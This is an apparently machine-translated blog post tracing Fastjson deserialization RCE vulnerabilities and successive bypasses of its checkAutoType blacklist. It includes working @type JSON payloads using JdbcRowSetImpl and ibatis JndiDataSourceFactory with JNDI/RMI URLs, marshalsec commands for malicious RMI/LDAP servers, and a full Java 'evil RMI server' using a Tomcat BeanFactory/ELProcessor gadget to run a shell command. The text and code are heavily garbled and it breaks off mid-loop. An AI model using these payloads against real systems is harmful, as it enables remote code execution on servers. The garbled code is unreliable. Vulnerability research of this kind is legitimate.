Shulou(Shulou.com)05/31 Report--

This article is about how to talk about the bypass history of Fastjson RCE loopholes. The editor thinks it is very practical, so I share it with you. I hope you can get something after reading this article. Let's take a look at it.

Introduction

Fastjson as a very widely used jar package, every time the RCE loopholes are enough to win the attention of the public, every analysis of fastjson vulnerabilities has already been analyzed in detail, 17 years fastjson first burst vulnerabilities so far, take a look at fastjson patching, make a summary of the vulnerabilities during the period, and learn about some rules of vulnerability mining.

Fastjson RCE key function DefaultJSONParser. ParseObject () parses the incoming json string and extracts different key for subsequent processing TypeUtils. LoadClass () generates an instance of the class JavaBeanDeserializer based on the class name passed in. Deserialze () in turn calls the object public set\ get\ is method of the class passed in @ type. ParserConfig. The guard function added later by checkAutoType () Ali is used to check whether the passed class is legal before loadclass. Summary and brief Analysis of Historical fastjson vulnerabilities the Source of fastjson RCE vulnerabilities

First, let's take a look at the poc of a fastjson deserialization vulnerability:

{"@ type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://localhost:1099/Exploit", "autoCommit": true}

First look at the call stack.

The utilization principle of the first version is relatively clear, because fastjson will call the common set\ get\ is function of the class by default when dealing with the class passed in the form of @ type, so the idea when looking for using the class is as follows:

1. We can control the member variables of the class.

2. Find a way to cause the command to execute when calling one of the set\ get\ is functions of the class.

So you find the JdbcRowSetImpl class, which lookup the member variable dataSourceName in the setAutoCommit function, using standard jndi injection.

Exec:620,Runtime / / Command execution

The Lookup:417,InitalContext / jndi lookup function acquires malicious classes through rmi or ldap

SetAutoCommit:4067,JdbcRowSetImpl triggers the lookup function later through setAutoCommit

SetValue:96,FieldDeserializer / / reflection calls the set function of the incoming class

Deserialze:600, JavaBeanDeserializer call the common set,get,is function of the incoming class through a loop

ParseObject:368,DefaultJSONParser parses the incoming json string

I would like to briefly mention the utilization of jndi injection here, because the utilization of jndi injection is greatly affected by the jdk version, so you should try more when using it.

Note: of course, it is necessary to determine whether the vulnerability exists before exploiting it, and it is easier to use it through dnslog.

1. Utilization mode based on rmi

Applicable jdk version: before JDK 6u132, JDK 7u122, JDK 8u113.

Mode of utilization:

Java-cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8080/test/#Exploit

2. Utilization mode based on ldap.

Applicable jdk version: before JDK 11.0.1, 8u191, 7u201, 6u211.

Mode of utilization:

Java-cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/test/#Exploitt

3. Utilization mode based on BeanFactory.

Applicable jdk version: JDK 11.0.1, 8u191, 7u201, 6u211 later.

Premise of utilization: because this utilization requires the help of a server-local class, which is in the jar package of tomcat, it can only be successfully used on tomcat.

Mode of utilization:

Public class EvilRMIServerNew {

Public static void main (String [] args) throws Exception {

System.out.println ("Creating evil RMI registry on port 1097")

Registry registry = LocateRegistry.createRegistry (1097)

/ / prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory

ResourceRef ref = new ResourceRef ("javax.el.ELProcessor", null, "", ", true," org.apache.naming.factory.BeanFactory ", null)

/ / redefine a setter name for the'x 'property from' setX' to 'eval', see BeanFactory.getObjectInstance code

Ref.add (new StringRefAddr ("forceString", "x=eval"))

/ / expression language to execute 'nslookup jndi.s.artsploit.com', modify / bin/sh to cmd.exe if you target windows

Ref.add (new StringRefAddr ("x", "\"\ ".getClass (). ForName (\" javax.script.ScriptEngineManager\ "). NewInstance (). GetEngineByName (\" JavaScript\ "). Eval (\" new java.lang.ProcessBuilder ['(java.lang.String [])]] (['/ bin/sh','-c','open / Applications/Calculator.app/']) .start () ")

ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper (ref)

Registry.bind ("Object", referenceWrapper)

}

} successive repairs and Bypass of fastjson RCE vulnerabilities

Fastjson made an update immediately after exposing the first version of RCE, and ushered in a new protagonist, checkAutoType (), which fought wits with this function in the following series of bypassing.

First take a look at the code for this function:

Public Class checkAutoType (String typeName, Class expectClass, int features) {

If (typeName = = null) {

Return null

} else if (typeName.length () > = 128) {

Throw new JSONException ("autoType is not support." + typeName)

} else {

String className = typeName.replace ('$','.')

Class clazz = null

Int mask

String accept

If (this.autoTypeSupport | | expectClass! = null) {

For (mask = 0; mask < this.acceptList.length; + + mask) {

Accept = this.acceptList [mask]

If (className.startsWith (accept)) {

Clazz = TypeUtils.loadClass (typeName, this.defaultClassLoader, false)

If (clazz! = null) {

Return clazz

}

}

}

For (mask = 0; mask < this.denyList.length; + + mask) {

Accept = this.denyList [mask]

If (className.startsWith (accept) & & TypeUtils.getClassFromMapping (typeName) = = null) {

Throw new JSONException ("autoType is not support." + typeName)

}

}

}

The way of defense is relatively clear, limit the length + blacklist, the idea that arises at this time is to bypass the blacklist, take a look at the first version of the blacklist:

This.denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.apache.xalan,org.codehaus.groovy.runtime,org.hibernate Org.jboss,org.mozilla.javascript,org.python.core,org.springframework ".split (", ")

In fact, the first version of the blacklist is quite powerful, with regard to the bypass of the blacklist, as far as I know, there is only one payload that relies on ibatis, of course, because ibatis is still widely used in java, so the harm of this payload is also relatively large, that is, 1.2.45 bypass.

{"@ type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties" {"data_source": "rmi://localhost:1099/Exploit"}}

Bypassing the blacklist is the first way of thinking, but the security industry's ideas are still quite flexible, and soon found the second way of thinking. Let's take a closer look at the following lines of code of the checkAutoType function:

F (! this.autoTypeSupport) {

For (mask = 0; mask < this.denyList.length; + + mask) {

Accept = this.denyList [mask]

If (className.startsWith (accept)) {

Throw new JSONException ("autoType is not support." + typeName)

}

}

For (mask = 0; mask < this.acceptList.length; + + mask) {

Accept = this.acceptList [mask]

If (className.startsWith (accept)) {

If (clazz = = null) {

Clazz = TypeUtils.loadClass (typeName, this.defaultClassLoader, false)

}

This function first checks whether the value of the passed @ type is in the blacklist, and then enters the loadClass function. In this way, if the loadClass function does some processing to the passed class, can we bypass the blacklist and follow up the loadClass function?

Public static Class loadClass (String className, ClassLoader classLoader, boolean cache) {

If (className! = null & & className.length ()! = 0) {

Class clazz = (Class) mappings.get (className); if (clazz! = null) {

Return clazz

} else if (className.charAt (0) = ='[') {

Class componentType = loadClass (className.substring (1), classLoader)

Return Array.newInstance (componentType, 0). GetClass ()

} else if (className.startsWith ("L") & & className.endsWith (";")) {

String newClassName = className.substring (1, className.length ()-1)

Return loadClass (newClassName, classLoader)

You can see that when the incoming className begins with L and ends with L, the first character and the last character of className are truncated, and then the instance is generated, so the bypassed poc is very easy to write, and the original payload utilization class adds these two characters to the beginning and end of the Ok.

{"@ type": "Lcom.sun.rowset.RowSetImpl;", "dataSourceName": "rmi://localhost:1099/Exploit", "autoCommit": true}

After the 42, 43 version of the bypass and 41 is the same principle, we no longer mention, you can go to https://github.com/shengqi158/fastjson-remote-code-execute-poc/ to check.

Analysis of the latest fastjson RCE

OK, now comes our long-awaited analysis of the latest fastjson vulnerability, about which there is a wonderful little story to tell.

This loophole has not been seen by poc for a long time after it has been exposed, and the version that can be successfully exploited is updated every day. There are several keywords "51", "48" and "58" about the version. Which one is puzzling, so I decided to take a look at the official announcement first and found that only the announcement of version 49 releases said "enhance security protection", so I decided to look for it in version 48 and 49. Look at commit and so on, but I didn't find anything at that time.

At this time, a boss who spoke on condition of anonymity silently posted a keyword "testcase" in a technology group, and a trace of current was suddenly generated at that time. Will Ali's bosses do tests in testcase when fixing vulnerabilities, and then transfer the testcase code to git? But it is not enough, because there is too much code in testcase. At this time, the previous analysis can know that Ali used the autotypecheck function to protect the first version of RCE, so this patch is likely to be related to it. Look for the file name with the autotype keyword in testcase directly, so you reach the following location:

Take a look at the files in turn. They are basically test related to deserialization vulnerabilities. The AutoTypeTest4.java file contains the following code:

Public void test_0 () throws Exception {

String payload= "{\" @ type\ ":\" java.lang.Class\ ",\" val\ ":\" com.sun.rowset.JdbcRowSetImpl\ "}"

String payload_2= "{\" @ type\ ":\" com.sun.rowset.JdbcRowSetImpl\ ",\" dataSourceName\ ":\" rmi://127.0.0.1:8889/xxx\ ",\" autoCommit\ ": true}"

AssertNotNull ("class deser is not null", config.getDeserializer (Class.class))

Int size=mappings.size ()

Final int COUNT=10

For (int iTuno Bandi)

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.